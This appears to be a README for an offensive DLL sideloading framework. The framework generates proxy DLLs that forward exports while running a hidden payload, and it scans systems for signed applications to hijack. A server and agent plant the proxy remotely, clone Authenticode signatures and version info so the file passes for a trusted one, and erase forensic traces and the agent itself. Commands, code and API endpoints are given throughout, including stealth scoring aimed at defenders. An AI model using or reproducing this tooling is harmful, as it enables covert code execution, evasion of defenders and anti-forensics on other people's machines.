DLL sideloading lets your code — whether it's a game cheat, loader, or custom tool — execute inside a legitimate, signed process. To anyone looking at the running .exe, it's a trusted vendor binary with a valid signature. Your payload is just along for the ride as a DLL it was going to load anyway.
This framework automates the tedious part: analyzing the target DLL's exports, generating the proxy code that forwards every function call to the original, and giving you a clean slot for your payload. Pick a hijackable DLL, run one command, drop in your code, build.
The framework has three layers that can be used independently or together:
generate.py Proxy DLL generator (core engine)
scan.py Target scanner — finds sideloadable EXE+DLL pairs on a system
server/ + agent/ Deployment system — automates the full scan-build-deploy pipeline
The deployment system automates everything end-to-end. A Rust scanner runs on the target machine, reports sideloading opportunities to a backend server, an operator picks a target from the web dashboard, and the system handles the rest — upload, proxy build, deploy, and cleanup.
Target Machine Backend Server Dashboard
+--------------+ +------------------+ +----------+
| agent.exe | --JSON--> | FastAPI | <--- | Web UI |
| (1.8 MB Rust)| | | | |
| | | generate.py + | | Browse |
| - PE scanner | <--DLL--- | MSVC/GCC compile | | targets, |
| - deployer | | | | select |
| - cleanup | | auto-build proxy | | |
+--------------+ +------------------+ +----------+
Flow:
- Run
agent.exeon target — scans installed software, finds sideloading targets - Agent checks in with the backend, reports all targets
- Operator picks a target from the web dashboard (e.g.
Discord.exe + dbghelp.dll) - Agent uploads the original DLL to the backend
- Backend auto-builds a proxy DLL (generate.py + compiler)
- Agent downloads and deploys the proxy (replace or search-order plant)
- Agent erases all traces and self-deletes from disk
- Next time the legitimate EXE starts, the proxy loads — exports work normally, payload fires
The agent can be stopped and restarted between steps. Tasks persist on the server — the agent picks up where it left off on the next check-in.
pip install -r requirements.txt
python generate.py C:\Windows\System32\version.dll --payload --embed --block
cd output\version_proxy
# edit payload.c
mingw32-make # or build_msvc.bat
# 1. Start the backend
cd server
pip install -r requirements.txt
python app.py # runs on :8443
# 2. Build and run the scanner on the target
cd agent
cargo build --release
# copy target/release/agent.exe to target machine, run it
# 3. Open http://localhost:8443 — pick a target, click Select
# Everything else is automatic.- Export mirroring — Analyzes PE export table and generates assembly trampolines (
jmp [ptr]) that transparently forward all calls to the original DLL. Handles named exports, ordinal-only exports, forwarded exports, and C++ mangled names. - Embed mode (
--embed) — Bakes the original DLL as a PE resource. At load time it extracts to%TEMP%and loads it. Single-file deployment. - Payload thread (
--payload) — Generates apayload.ctemplate. Your code runs in a separate thread after all exports are resolved. - Block mode (
--block) — Suspends the main thread so the process can't exit before your payload finishes. Two-layer approach: primary suspend + atexit fallback. Deadlock-free. - MetaTwin cloning — Clones PE version info and Authenticode signature from the source DLL. The proxy looks identical in file properties.
- Dual compiler support — MSVC (
.asm+build_msvc.bat) and MinGW (.S+Makefile). - Both architectures — x86 and x64, auto-detected from the input DLL.
- Automated scanning — Rust-based scanner finds sideloading targets by parsing PE import tables across the entire filesystem.
- Deployment server — FastAPI backend with web dashboard. Auto-builds proxy DLLs from uploaded originals.
- Post-deploy cleanup — Agent erases its files, clears execution traces (Prefetch, UserAssist, BAM), and self-deletes from disk using NTFS data stream rename.
The scanner finds sideloading targets on the local system. It walks the filesystem, parses PE import tables, and catalogs every EXE+DLL pair usable for deployment.
Vectors detected:
| Vector | Description |
|---|---|
| Replace | DLL already beside the EXE — copy both, swap DLL with proxy |
| Search-order | DLL in System32 but not in app dir — place proxy in app dir, it loads first |
| Phantom | DLL imported (delayed) but missing — any DLL with that name gets loaded |
Scoring prioritizes legitimacy (how normal it looks to a defender):
| Factor | Score |
|---|---|
| Host EXE is signed | +4 |
| Replace vector (proven — app already loads from here) | +3 |
| Search-order vector | +2 |
| Stealth DLL name (version.dll, dbghelp.dll, etc.) | +2 |
| Zero companion DLLs (clean 2-file package) | +2 |
| Delayed import (safer, loads on demand) | +1 |
Filters out: KnownDLLs (registry), API sets (api-ms-*), ntdll.dll (kernel-loaded), phantom static imports (EXE can't start without them).
python scan.py # scan all drives
python scan.py C:\Users --signed-only --top 20 # signed EXEs, top 20
python scan.py --max-companions 0 # only clean 2-file packages
python scan.py --vector replace # only replace-vector targets
python scan.py -o targets.json # save for package.py
positional:
paths Directories to scan (default: all drives)
options:
-t, --threads N Worker threads (default: 8)
--signed-only Only report signed host EXEs
--skip-windows Skip C:\Windows tree (faster)
--min-score N Minimum score threshold
--vector {replace,search_order,phantom} Filter by vector type
--max-companions N Max companion DLLs (0 = clean packages only)
--top N Show top N results
-o, --output FILE Save JSON for package.py
--json JSON to stdout
-q, --quiet No progress output
python generate.py <dll_path> [options]
Options:
-o, --output DIR Output directory (default: ./output/<name>_proxy/)
--embed Embed original DLL as a PE resource
--payload Include payload thread template
--block Block process exit until payload finishes (implies --payload)
--compiler {msvc,gcc,both} Target compiler (default: both)
--arch {x86,x64,auto} Target architecture (default: auto-detect)
--original-name NAME Runtime filename for original DLL (non-embed mode)
-v, --verbose Show all exports and generated files
--dry-run Show what would be generated without writing
version_proxy/
+-- proxy.c # DllMain, function pointer table, init/cleanup
+-- proxy.h # Exported function pointer declarations
+-- exports.def # Module definition file (maps exports to trampolines)
+-- trampolines.asm # MSVC MASM — one jmp [ptr] per export
+-- trampolines.S # MinGW GAS — same, AT&T/Intel syntax
+-- payload.c # Your code goes here
+-- payload.h # Payload thread declaration
+-- resource.rc # Version info + embedded DLL resource
+-- resource.h # Resource IDs
+-- original_version.dll # Copy of original DLL
+-- sigclone.py # Post-build signature cloner (auto-run)
+-- build_msvc.bat # Build with cl.exe + ml64.exe
+-- Makefile # Build with gcc + as
Each export becomes an assembly trampoline that jumps through a function pointer:
; x64 MASM
proxy_GetFileVersionInfoA PROC
jmp QWORD PTR [fp_GetFileVersionInfoA]
proxy_GetFileVersionInfoA ENDPThe .def file maps the original export name to the trampoline label:
GetFileVersionInfoA = proxy_GetFileVersionInfoA @1
At DLL_PROCESS_ATTACH, the original DLL is loaded and all function pointers are resolved via GetProcAddress. Calls flow through transparently — no register clobbering, no calling convention issues.
When the host process would exit immediately, --block keeps it alive:
- Primary: The payload thread suspends the main thread (after loader lock releases). Payload runs, then calls
ExitProcess(0). - Fallback: If main exits first,
atexithandler blocks until the payload signals completion.
Both paths are deadlock-free — no loader lock involvement.
The framework automatically clones the source DLL's identity onto the proxy:
- Version info — CompanyName, FileDescription, FileVersion, etc. are compiled into
resource.rc. The proxy's file properties look identical. - Authenticode signature —
sigclone.pycopies the signature. Shows the original signer but reportsHashMismatchunder full validation.
Both are automatic — no flags needed.
Original: Valid | CN=Microsoft Windows, O=Microsoft Corporation
Proxy: HashMismatch | CN=Microsoft Windows, O=Microsoft Corporation
After deploying the proxy DLL, the agent erases its traces:
| What | How | Privileges |
|---|---|---|
| Client ID file | Overwrite with zeros, delete | User |
| Temp scanner artifacts | Delete .~scan*, proxy_fw/ |
User |
.bak backup of replaced DLL |
Delete (proxy embeds original) | User |
| Prefetch entries | Delete C:\Windows\Prefetch\<exe>-*.pf |
Admin |
| UserAssist history | Remove ROT13-encoded entry from HKCU | User |
| BAM/DAM entries | Remove from HKLM\..\bam\State\ |
Admin |
| Agent binary | NTFS data stream rename + FileDispositionInfoEx | User |
The self-delete uses the NTFS data stream technique: renames :$DATA to an alternate stream, then marks the file for deletion via FileDispositionInfoEx with POSIX semantics. The binary disappears from disk while the process is still running. Falls back to cmd.exe delayed delete on older Windows.
Client API (called by agent):
POST /api/checkin Check-in with scan results, receive pending tasks
POST /api/upload Upload original DLL for proxy build
GET /api/download/{id} Download compiled proxy DLL
POST /api/deployed Confirm successful deployment
Dashboard API (called by web UI):
GET /api/clients List connected clients
GET /api/clients/{id} Client detail + targets + builds
POST /api/select Select target — queues upload task for client
Web UI: GET / serves the operator dashboard at http://localhost:8443.
Edit constants at the top of agent/src/main.rs:
const SERVER_URL: &str = "http://127.0.0.1:8443";
const CHECKIN_INTERVAL: Duration = Duration::from_secs(30);
const SCAN_PATHS: &[&str] = &["C:\\"];cd test
run_tests.bat
10 test cases covering MSVC + GCC, embed/non-embed, block/non-block, and MetaTwin.
The test/smoketest/ directory contains a minimal victim setup (victim.exe + helper.dll) for verifying the full deployment pipeline. Verified 7/7:
| Check | Result |
|---|---|
| Build status = deployed | PASS |
| DLL replaced (42K -> 130K, different hash) | PASS |
| Export forwarding (helper_greet=42, helper_add=17) | PASS |
| Payload execution (proof.txt created) | PASS |
| Agent binary self-deleted from disk | PASS |
| Client ID file cleaned | PASS |
| Backup file removed | PASS |
If you have a Rust project (cheat, loader, etc.), you can statically link it into the proxy DLL.
[lib]
crate-type = ["staticlib"]#[unsafe(no_mangle)]
pub extern "C" fn cheat_main() {
// runs in its own thread inside the hijacked process
}python generate.py C:\Windows\System32\version.dll --payload --embed --block
// payload.c
#include "payload.h"
extern void cheat_main(void);
DWORD WINAPI payload_main(LPVOID lpParam) {
(void)lpParam;
cheat_main();
return 0;
}Add the .lib to the link line in build_msvc.bat or Makefile, plus Rust stdlib dependencies (ws2_32, advapi32, userenv, bcrypt, etc.).
target_app/
+-- legit_signed_app.exe # Trusted vendor binary
+-- version.dll # Proxy (embedded original + your Rust code)
One file. The .exe in the logs is a signed vendor binary.
DLLProxyFramework/
+-- generate.py # Proxy DLL generator (CLI)
+-- scan.py # Standalone target scanner (CLI)
+-- package.py # Offline package builder (CLI)
+-- requirements.txt # Python dependencies
+-- analyzer/ # PE analysis module
| +-- pe_analyzer.py # Export table, version info, signature detection
+-- generator/ # Code generation module
| +-- codegen.py # Template orchestrator
| +-- template_engine.py # Jinja2 wrapper
| +-- templates/ # 13 Jinja2 templates (C, ASM, BAT, Makefile, RC)
+-- embedder/ # DLL resource embedding
+-- sigclone/ # Authenticode signature cloner
+-- scanner/ # Python scanner module (used by scan.py)
| +-- dll_scanner.py # PE scanning, scoring, target catalog
+-- server/ # Deployment backend
| +-- app.py # FastAPI application
| +-- models.py # Data store (agents, targets, builds, tasks)
| +-- builder.py # Auto-build pipeline (generate + compile)
| +-- static/index.html # Operator web dashboard
+-- agent/ # Rust scanner + deployer
| +-- src/main.rs # Check-in loop, upload, deploy
| +-- src/scanner.rs # PE scanning (pelite), scoring
| +-- src/cleanup.rs # Trace removal, NTFS self-delete
+-- test/
+-- run_tests.bat # 10-case test suite
+-- smoketest/ # E2E smoketest (victim.exe + helper.dll)
MIT